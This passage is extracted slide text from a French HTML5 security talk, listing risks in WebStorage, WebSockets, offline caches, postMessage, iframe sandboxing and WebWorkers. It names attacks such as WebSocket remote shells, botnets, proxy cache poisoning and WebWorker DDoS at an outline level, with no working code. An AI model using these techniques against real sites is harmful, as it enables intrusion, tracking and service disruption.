  84. 84. WebStorage • Pas  de  contrôle  de  la  part  de  l’u>lisateur  sur  ce   qui  est  stocké/accéder ➡DOS  via  les  disques  par  remplissage • L’injec>on  de  Javascript  peut  bypasser  la   limita>on  du  contrôle  d’accès. ➡Vol  de  Sessions ➡Vol  de  données  sensibles ➡Tracking  d’uBlisateurs 22Friday, April 5, 13
  85. 85. All  you  disk  is  belong  to  US  ? bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  86. 86. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  87. 87. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  88. 88. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  89. 89. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  90. 90. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... • En  cours  de  correc>on,  mais  démonstra>on   intéressante.... • Tests  à  h;p://www.filldisk.com/ bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  91. 91. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  92. 92. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  93. 93. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) Il  est  donc  possible  de  créer  des  iden3fiants  (de  type  cookies)   persistants  perme]ant  de  suivre  l’u3lisateur J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  94. 94. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  95. 95. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  96. 96. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  97. 97. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  98. 98. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  99. 99. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  100. 100. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  101. 101. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  102. 102. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  103. 103. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  104. 104. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  105. 105. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  106. 106. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  107. 107. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  108. 108. Websocket  Menaces • Parmi  les  a;aques  possibles,  certaines  sont   triviales:   • Shell  Distant   • Botnet  Web   • via  un  XSS  ou  tout  simplement  en  se  connectant  à   un  site  Web. • Port  scanning... 26Friday, April 5, 13
  109. 109. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  110. 110. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  111. 111. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  112. 112. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  113. 113. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  114. 114. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  115. 115. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  116. 116. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  117. 117. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  118. 118. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  119. 119. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  120. 120. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  121. 121. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  122. 122. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  123. 123. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  124. 124. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   HTTP/1.1  200  Ok Contenu  falsifié 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  125. 125. OffLine  Web  ApplicaBon <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> • Possibilité  d’avoir  des  a;aques  de  Type   APT  ? • Possibilité  de  pollu>on  des  caches  de   navigateurs  (via  un  point  d’accès   malveillant);  meme  du  SSL Je  crois  que  Nicolas  a  un  bon  avis  sur  les  APT.... 28Friday, April 5, 13
  126. 126. WebMessage • Possibilité  de  perte  de  données  sensibles  (si   envoyées  à  une  “mauvaise  iframe”) postMessage() Page  du  site  “interne” <iframe  src=”outside.control” 29Friday, April 5, 13
  127. 127. Bac  a  sable  des  iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> • Par  défaut  si  rien  n’est  précisé  :   • Les  formulaires,  scripts  et  plug-­‐ins  sont  désac>vés. • Pas  d’accès  aux  éléments  stockés  en  local   (cookies,  sessionStorage,  localStorage). • Pas  d’AJAX   • Les  liens  ne  peuvent  cibler  d’autres  frames • Le  contenu  est  considéré  externe  (pas  d’accès  à  la   DOM) vous  saviez  que  les  bacs  a  sables  sont  remplacés  par  des  bacs  à  gravier  maintenant  ?   30Friday, April 5, 13
  128. 128. Bac  a  sable  des  iframes • Lever  les  restric>ons  :   • allow-­‐same-­‐origin  :  autorise  le  contenu  a  être  traité   comme  de  la  même  origine  est  pas  externe • allow-­‐top-­‐naviga>on  :  l’iframe  peut  accéder  à  la   naviga>on  de  niveau  supérieur • allow-­‐forms  :  autorise  les  formulaires • allow-­‐  scripts  :  les  scripts  (hors  popup)  sont  autorisés Les  navigateurs  ne  supportent  pas  tous  ces  éléments  ! tout  cela  pour  l’hygiène  alors  qu’on  nous  fais  passer  du  cheval  pour  du  boeuf  !   31Friday, April 5, 13
  129. 129. Autres  points  importants • Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.   • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache   de  fond – N’accèdent  pas  à  la  DOM   – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres   WebWorkers... DDOS  avec  CORS  &  WebWorkers Calculs  distribués  (cf  Ravan) Bientot  la  fin 32Friday, April 5, 13
  130. 130. Autres  points  importants • Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.   • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache   de  fond – N’accèdent  pas  à  la  DOM   – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres   WebWorkers... DDOS  avec  CORS  &  WebWorkers Calculs  distribués  (cf  Ravan) Bientot  la  fin 32Friday, April 5, 13
  131. 131. Autres  Points  importants • CSS3  introduit  de  nouvelles  capacités  à  injecter   du  code  JavaScript Nouvelles  capacités  au  ClickJacking ou  facebook  jacking  ou  autre  jacking.... 33Friday, April 5, 13
  132. 132. Conclusion • Plein  de  nouvelles  API  interessantes  pour  le   développeur(et  les  agences  Webs) L’ouverture  se  fait  au  détriment  de  la  sécurité....(même  si  un   accent  supplémentaire  a  été  mis  dessus  dans  les  Specs) Une  surface  d’a;aque  accrue  (CORS,  Web/Storage|Socket| Workers) La  belle  part  au  JavaScript  (qui  peut  s’executer  sans   consentement  u>lisateur) non,  non,  je  ne  fais  pas  que  >rer  sur  les  agences  Web... 34Friday, April 5, 13
  133. 133. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  134. 134. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  135. 135. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×